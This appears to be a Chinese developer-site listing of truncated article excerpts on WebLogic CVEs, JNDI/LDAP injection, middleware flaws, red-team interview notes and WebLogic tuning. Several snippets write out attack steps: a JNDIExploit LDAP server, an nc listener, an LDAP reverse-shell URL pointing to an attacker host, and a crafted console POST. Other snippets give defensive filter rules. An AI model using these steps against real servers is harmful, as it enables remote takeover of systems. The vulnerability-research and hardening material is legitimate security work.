首页
学习
活动
专区
圈层
工具
发布

Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)

WebLogic RMI将所有这些网络流量多路复用到客户端和服务器之间的单个套接字连接上(这里指的就是T3协议吧)。相同的套接字连接也可重用于其他类型的J2EE交互,例如JDBC请求和JMS连接。...通过最小化客户端和WebLogic之间的网络连接,RMI实现可以在负载下很好地扩展,并同时支持大量RMI客户端,它还依赖于高性能的序列化逻辑。...2.客户端之间的沟通 WebLogic的RMI提供了客户端和服务器之间的异步双向套接字连接。...由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行 相同的原理也可以应用于Web应用中。...LDAP攻击向量 攻击过程如下: 1.攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL 2.服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用 3.服务器解码JNDI

4.7K11

Weblogic-CVE-2021-2109

影响版本 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0...漏洞复现 先在攻击机上使用JNDIExploit启动LDAP,此时会同时开启LDAP和HTTP服务 $ java -jar JNDIExploit.jar -i ?...在Repeater中修改请求为以下Payload,需要注意的是,服务器IP格式为xxx.xxx.xxx;xxx,最后一段是以分号;分割的 POST /console/consolejndi.portal...修复方案 禁用T3协议:如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器...在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s 禁止启用IIOP:登陆Weblogic

77620
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    中间件常见漏洞总结

    访问是否上传成功 /ws解压后得到ws.jsp ,所以访问ws/ws.jsp 哥斯拉链接成功 文件包含漏洞(CVE-2020-1938) 漏洞描述:默认情况下,Apache Tomcat会开启AJP连接器...使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令 影响范围 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic...WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。.../WhiteHSBG/JNDIExploit 1、搭建ldap服务 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali的ip 2、kali 开启NC nc -...-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口 4、成功反弹shell,监听成功 Weblogic

    46010

    CVE-2020-14645 Weblogic远程代码执行漏洞分析

    二、漏洞描述 WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、...因为利用的是Weblogic的T3协议,在利用前可使用NMAP进行探测确认是否开放T3(默认开放)。 可使用NMAP探测T3协议使用情况: ? ?...“http://192.168.134.135:7001”为Weblogic控制台地址 ? 当利用成功后,LDAP服务器会有如下信息: ? 同时目标机弹出计算器,如下图: ?...①进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置; ②在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl...,在连接筛选器规则中配置符合实际情况的规则; ③保存后若规则未生效,可重新启动WebLogic服务(PS:重启WebLogic服务会导致业务中断,建议进行风险评估后,再进行操作)。

    1.3K40

    CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

    application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。.../weblogic12:latest 访问7001,加/console就是weblogic的控制页面 0x05 漏洞复现 该漏洞的POC package com.supeream; import weblogic.deployment.jms.ForeignOpaqueReference...4.监控系统日志: 实时监控 WebLogic Server 的系统日志,检测异常的访问和操作行为。 二、其他防护措施 如非必要,可以选择禁用T3 协议、IIOP协议。...禁用T3协议: 1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。...2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl 在连接筛选器规则中输入: 127.0.0.1 * * allow t3 t3s 0.0.0.0

    2.4K10

    业务系统非功能性架构和高可用性设计

    第二个问题仍然是3-5年的硬件的可扩展性,3-5年业务并发的增长量情况究竟如何。 最后我们估算的时候一定是要考虑峰值的时候的场景,找到业务交易峰值的天和峰值的时段数据。...:为每日业务统计峰值交易量 T:为每日峰值交易时间,假设每日80%交易量集中在每天的4小时,即240分钟内完成:T=240。...读取超时:读取超时即等待读取数据返回设置的超时时间,超过则Read Time Out 连接超时:连接到目标系统获取到可用连接的等待时间,超过则Connection Time Out 负载均衡和集群分发...而另外一种场景是业务系统本身出现故障问题,在前面我们也说了可以直接设置ESB服务的连接超时时间,而且这个时间设置不能太长,因为太长就会导致大量连接等待而无法返回到连接池,导致后续新的服务请求无法快速的获取到连接...对于Weblogic 的JMS消息分发,基于Topic的消息发布订阅,最近经常出现的消费分发长耗时,订阅本身的超时和事务回滚等很多问题。

    16810

    『学习笔记』WebLogic的性能调优技巧

    性能调优通常涉及以下方面:响应时间:减少请求的处理时间,提高用户体验。吞吐量:提高每秒处理的请求数量。资源利用率:提高 CPU、内存、磁盘等资源的利用效率,避免资源浪费或过度消耗。...数据库连接池优化WebLogic支持与各种数据库的连接,通过配置合理的连接池,可以提高数据库访问的效率,减少连接的创建与销毁开销。...以下是一些数据库连接池优化的技巧:配置连接池的大小WebLogic允许你为每个数据源配置连接池大小,合适的连接池大小能提高数据库访问性能。...通过 WebLogic 管理控制台或命令行配置连接池大小,确保连接池既不会过大以浪费资源,也不会过小以导致连接池饱和。...合理配置这两个参数可以避免频繁创建和销毁连接,提高数据库访问效率。配置连接池的超时和重试机制数据库连接池的超时配置可以防止由于数据库响应慢或连接过多造成的性能问题。

    35810

    『学习笔记』如何监控 WebLogic 的运行状态与性能

    随着应用程序的规模和复杂性增加,WebLogic 的运行负载也随之增加,常见的运维挑战包括: 性能瓶颈:高并发访问可能导致响应变慢或请求超时。...资源监控:CPU、内存、线程池和数据源的使用情况对系统健康至关重要。 快速故障排查:需要在故障发生时快速识别和解决问题。...数据库连接池中可用连接的数量 使用 WLST 自动化监控 WLST 是 WebLogic 提供的脚本工具,适用于自动化监控与任务处理。...JDBC 数据源活动连接:检测数据库连接池问题。 JMS 队列大小:发现消息队列堆积问题。 系统资源:CPU、内存、磁盘 IO 等。...数据库连接池活动连接数 当前正在使用的数据库连接数。 应小于最大连接池大小,避免超过 90%。 JMS 队列积压消息数量 队列中未被消费的消息数。

    59320

    hvv行动的一些面试经验(hw行动)

    /lcx -m 2 -p1 12345 -p2 6666探测内网存活主机和开放端口(可以使用fscan等工具)用cs或者有免杀效果的mimikatz抓取本机最高权限密码、尝试哈希传递、尝试IPC连接来横向移动获取目标权限对内网的开放...、服务、驱动、模块、启动项查看网络连接情况,判断是否有可疑ip连接排查计划任务、异常文件,如temp下的文件分析流量,查看特殊的referer、accept-language流量特征分析系统日志,查看是否有危险操作加固系统...排查业务系统是否受影响确定勒索病毒种类,进行溯源分析恢复受影响的数据和业务加固系统中了挖矿木马怎么办隔离被感染的主机确认挖矿进程,如查看cpu占用,一般50%以上就很可疑,然后对进程名进行排查阻断矿池连接...":true}绕过:%40代替, \x2e代替.Structs S2-015远程代码执行漏洞• payload后面加上了.action• 远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL...-3510基于Weblogic t3协议引起远程代码执行的反序列化漏洞#CVE-2017-3248基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化#CVE

    67211

    巨龙拉冬: 让你的Cobalt Strike变成超级武器

    都无法连接,我也推荐你用其它不知名的工具,我也不否认其它工具的存在,兴许人家的能用呢?...什么叫动作越少越好,一边说Ladon扫描流量大,一边用那些带有明显特征流量大的工具无脑扫内网,靠运气不被管理员踢出局,明明是管理员菜以及WAF垃圾才没被发现,还说自己很吊。...BadPotato SweetPotato RDPHijack CVE-2021-1675 0x010 自启动 注册表自启动 服务启动项 0x011 3389远程桌面 一键开启3389 查看3389远程连接...(域内) 389端口LDAP服务器探测 389端口LDAP密码审计 CVE-2020-1472域控提权 0x014 后门/木马查看 注册表启动项 系统却持DLL 0x015 域名解析 Domain2IP...内外网) 当前用户、特权信息 GUID、CPUID、DiskID 基础信息(仅cmd获取) 基础信息(含wmi获取) 获取命令行参数 获取进程详细信息 查看IE代理信息 查看本机命名管道 查看3389远程连接

    3.6K31

    ​『学习笔记』 WebLogic 与数据库连接池的配置与优化详解

    2 提升性能:通过复用现有连接,连接池显著降低了数据库连接的响应时间。3 连接管理:连接池支持连接超时、泄漏检测和失败重试等功能,确保连接的稳定性和安全性。...提供管理功能支持连接超时、连接泄漏检测等高级功能 WebLogic 数据库连接池的配置准备工作1 数据库环境:确保数据库已正确配置并可用(例如,MySQL 或 Oracle 数据库)。...在 WebLogic 管理控制台中配置连接池以下是通过 WebLogic 管理控制台配置数据库连接池的步骤:1 登录管理控制台 访问 WebLogic 管理控制台(默认地址为 http://localhost...,可以设置连接超时参数。...(10) # 请求连接超时启用测试连接功能为了确保连接池中的连接始终可用,可以启用连接测试功能。

    1.1K20

    OWASP Top 10关键点记录

    注入 注入攻击漏洞,例如SQL,OS以及LDAP注入。这些攻击发生在当不可信的数据作为命令或者查询语句的一部分,被发送给解释器的时候。...注入类型 SQL查询语句、LDAP查询语句、Xpath查询语句、OS命令、XML解释器、SMTP头注入等 关键技术点 SQL、存储过程、ORM、Hibernate、Mybatis、XML、LDAP、SSI...如果一个带有漏洞的组件被利用,这种攻击可以造成更为严重的数据丢失或服务器接管。应用程序使用带有已知漏洞的组件会破坏应用程序防御系统,并使一系列可能的攻击和影响成为可能。...常见漏洞组件 struts2、heartbleed、反序列化、weblogic、websphere、jboss、jenkins 未受保护的APIs 现代应用程序和API通常涉及丰富的客户端应用程序,例如浏览器中的...JavaScript和移动端应用程序,连接到某种API(SOAP / XML,REST / JSON,RPC,GWT等)。

    1.4K00

    未授权访问漏洞总结

    目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证,导致未授权访问。...2.漏洞检测 使用nmap寻找到相关的LDAP服务器,可以使用ldapbrowser直接连接,获取目录内容。 3.漏洞修复 修改ldap的acl,禁止匿名访问。...vncviewer ip 3.漏洞修复 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码; 以最小权限的普通用户身份运行操作系统; 0x27 Weblogic 未授权访问 1.漏洞简介 Weblogic...使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。...WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

    10.3K111

    Weblogic性能优化(图解)

    分类:Weblogic (2034) (1) 若是觉得对您有一丢丢的帮助,烦请顶一下哦,激励我码出更多的帖子,^_^谢谢!...:10 3)非活动连接超时(保留连接处于不活动状态的秒数,该秒数过后 WebLogic Server 将收回该连接并将其释放回连接缓冲池):100 具体配置如下图所示: 4)取消“Remove Infected...1 具体配置如下图所示: 3、Weblogic下TCP连接数的调整 进入weblogic控制台,点击左边选项树中的servers选项 点击servers下的服务列表中的服务 点击“Tuning...”进入页面 ”Accpet Backing”选项,将后面的“50“ 修改为300-500,修改本选项的目的是增加tcp的连接,避免连接数满后,weblogic提示连接错误。...************************* 关于更多Weblogic的资料,欢迎大家给我连接地址。

    2.4K10
    领券